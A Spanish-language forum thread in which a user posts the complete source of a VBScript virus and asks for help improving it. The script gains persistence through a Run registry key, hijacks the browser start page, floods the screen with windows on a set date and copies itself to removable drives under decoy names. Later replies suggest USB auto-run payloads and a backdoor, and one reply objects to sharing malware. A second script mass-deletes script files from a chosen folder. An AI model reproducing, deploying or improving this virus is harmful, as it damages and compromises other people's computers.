Foro de elhacker.net

 ::)
              les pongo este virus en vbs para uqe me den consejos de
              como mejorarlo .

ON ERROR RESUME NEXT
Dim Fobiacmsgchxxrl
Dim Fobiacborrchxxrl
Dim Fobiaccolchxxrl
Dim zchxxrl
Dim Fobianarchxxrl
Dim Fobiadichxxrl
Dim Fobiavalchxxrl
Dim Fobiasenchxxrl
Dim Fobiatecchxxrl
Dim vtecchxxrl
Set Fobiawshchxxrl = CreateObject("WScript.Shell")
Set Fobiafsochxxrl= CreateObject("scripting.filesystemobject")
Fobiawshchxxrl.regwrite "HKCU\software\" & Chr(71) & Chr(97) & Chr(116) & Chr(101) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116),Chr(71) & Chr(101) & Chr(111) & Chr(99) & Chr(105) & Chr(116) & Chr(105) & Chr(101) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(103) & Chr(97) & Chr(116) & Chr(101) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116)
Fobiafsochxxrl.copyfile wscript.scriptfullname,Fobiafsochxxrl.GetSpecialFolder(0)& "\camila.vbs"
Fobiawshchxxrl.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Kuasanagui","wscript.exe " & Fobiafsochxxrl.GetSpecialFolder(0) & "\camila.vbs %"
Const Wri = 2
Const Cr = True
Dim File
Dim F
File = Fobiafsochxxrl.GetSpecialFolder(0) & "\El microbito.TXT"
Set F = Fobiafsochxxrl.opentextfile(File, Wri, Cr)
F.write "Quisiera ser un microbito," & vbcrlf & "que habite en tu cuerpo," & vbcrlf & "hay para estar muy calientito," & vbcrlf & "casi todo el tiempo," & vbcrlf & "beber de tu sangre, " & vbcrlf & "y en tu carne descansar," & vbcrlf & "de ti me voy a alimentar." & vbcrlf & "" & vbcrlf & "Quiero vivir en una arteria," & vbcrlf & "junto a tu corazon," & vbcrlf & "tu cuerpo para mi seria, " & vbcrlf & "como una gran mansión," & vbcrlf & "correr por tus venas," & vbcrlf & "y en tu sangre siempre estar," & vbcrlf & "de ahi nadie me podra sacar." & vbcrlf & "" & vbcrlf & "Hare una alberca en tu ombliguito," & vbcrlf & "pa meterme a nadar," & vbcrlf & "y si me voy mas abajito," & vbcrlf & "nadie me sacara," & vbcrlf & "beber de tu sangre, " & vbcrlf & "y en tu carne descansar," & vbcrlf & "de ti me voy a alimentar." & vbcrlf & "" & vbcrlf & "De ti me voy a alimentar."
F.close
Fobiawshchxxrl.run "notepad " & Fobiafsochxxrl.GetSpecialFolder(0) & "\El microbito.TXT"
Fobiawshchxxrl.regwrite "HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page","http://www.jodiendo.com"
Fobiawshchxxrl.regwrite "HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\Main\Window title","FOBIA ON ICE"
If month(now) = 10 and day(now) = 31 then
For zchxxrl = 0 to 1000
Fobiawshchxxrl.run ("C:\Windows\notepad.exe")
Next
End If
Fobiavalchxxrl = 0
Fobiatecchxxrl = 0
dichxxrl()
Function dichxxrl()
On Error Resume Next
Do
Fobiatecchxxrl = Fobiatecchxxrl + 1
Fobiavalchxxrl = Fobiavalchxxrl + 1
Randomize timer
Fobiadichxxrl = Int(Rnd * 6)
If Fobiadichxxrl = 0 then Fobianarchxxrl = "Fobia.txt"
If Fobiadichxxrl = 1 then Fobianarchxxrl = "Mundo feliz.mp3"
If Fobiadichxxrl = 2 then Fobianarchxxrl = "Amor chiquito.jpg"
If Fobiadichxxrl = 3 then Fobianarchxxrl = "Fobia on ice.mp3"
If Fobiadichxxrl = 4 then Fobianarchxxrl = "Leche.html"
If Fobiadichxxrl = 5 then Fobianarchxxrl = "microbito.mp3"
If Fobianarchxxrl = "" then Fobianarchxxrl = "LEEME.TXT"
If Fobiavalchxxrl = 900000 then
Fobiafsochxxrl.copyfile Fobiafsochxxrl.GetSpecialFolder(0)& "\camila.vbs","a:\" & Fobianarchxxrl & ".vbs"
Fobiavalchxxrl = 0
End If
If Fobiatecchxxrl = 700000 then
Fobiawshchxxrl.sendkeys "Quisiera ser un microbito...."
Fobiatecchxxrl = 0
Fobiatecchxxrl = 0
End If
Loop
End Function
 

*****por favor comenten algunas cosas que se deverian mejorar a este virus  :)

Consejos de rango 1 sobre la creación de código:
- Indenta, tabula las líneas.
- Nombres de variables legibles y concisos sobre su función en el código.

Sobre cómo mejorarlo: Haz que deje de ser un 'virus' y hazlo un programa útil. Te sirve más a ti, sirve más a quienes estén aprendiendo a programar, sirve más a todos. Al fin y al cabo, la razón de este foro es esa, aprender, no compartir "programas", y menos malware.

Te digo esto, porque varios de los temas que he visto que has abierto vienen colisionando en el mismo concepto: "malware", que está muy bien como tema curioso y como "información white-hat", pero está prohibido para su uso malicioso.

********bueno creo que en parte tienes razón pero mira que solo
                  no hago virus sino tambien antivirus este vbs borra el virus de
                  acceso directo (new photo today.wsf) que se mete en los
                  pendrive (USB),ESTE CODE lo termine esta mañana.

'PARA FORO EL HACKER.
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.BrowseForFolder _
    (WINDOW_HANDLE, "Selecciona una carpeta:", NO_OPTIONS)   
Set objFolderItem = objFolder.Self
strPath = objFolderItem.Path
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("desinf.bat",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "title Desinfectando USB (BY S4L)"
archivotexto.writeline "MODE CON: COLS=50 LINES=5"
archivotexto.writeline "color a"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛ                           ] 13 °/."
archivotexto.writeline "ping localhost -n 1 >nul"
archivotexto.writeline "cd /D "" " & strPath & """"
archivotexto.writeline "Attrib /d /s -r -h -s *.*"
archivotexto.writeline "Attrib /d /s -r -h -s Drive\*.*"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛ                     ] 25 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.bat"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ               ] 47 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.wsf"
archivotexto.writeline "del /f /q Drive\*.wsf"
archivotexto.writeline "if exist *.lnk del *.lnk" 
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ     ] 70 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.ws"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ  ] 89 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.js"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ] 100 °/."
archivotexto.writeline "attrib -a -s -h -r /s /d"
archivotexto.writeline "attrib +s +h autorun.inf"
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "explorer.exe "& strPath & """"
archivotexto.writeline "exit"
archivotexto.close
set WshShell=WScript.CreateObject("WScript.Shell")
WShShell.run "desinf.bat"
'credo por S4L.
'FISICA 638
 

y como se propaga

saludos Flamer y no es ilegal hacer virus, es legal si lo sueltas, yo también los hago pero no los libero

pues podrias hacer que se auto-ejecute algun tipo de payload desde los USB, es decir una vez el virus este dentro del USB (por lo  que dices, eso hace) al conectar el USB en otro Ordenador se auto-ejecute un payload, que bien si mal no recuerdo vi algo similar hace unos días hecho casualmente en el lenguaje de programacion que estas usando.
espero mi "consejo" te sea de utilidad :) espero ver pronto metedos para eliminar/detectar ese tipo de "virus". debo decir, que al usar el payload y tengas los permisos de administrador, facilmente tambien podrias abrir paso algun tipo de backdoor para que tengas acceso al Ordenador...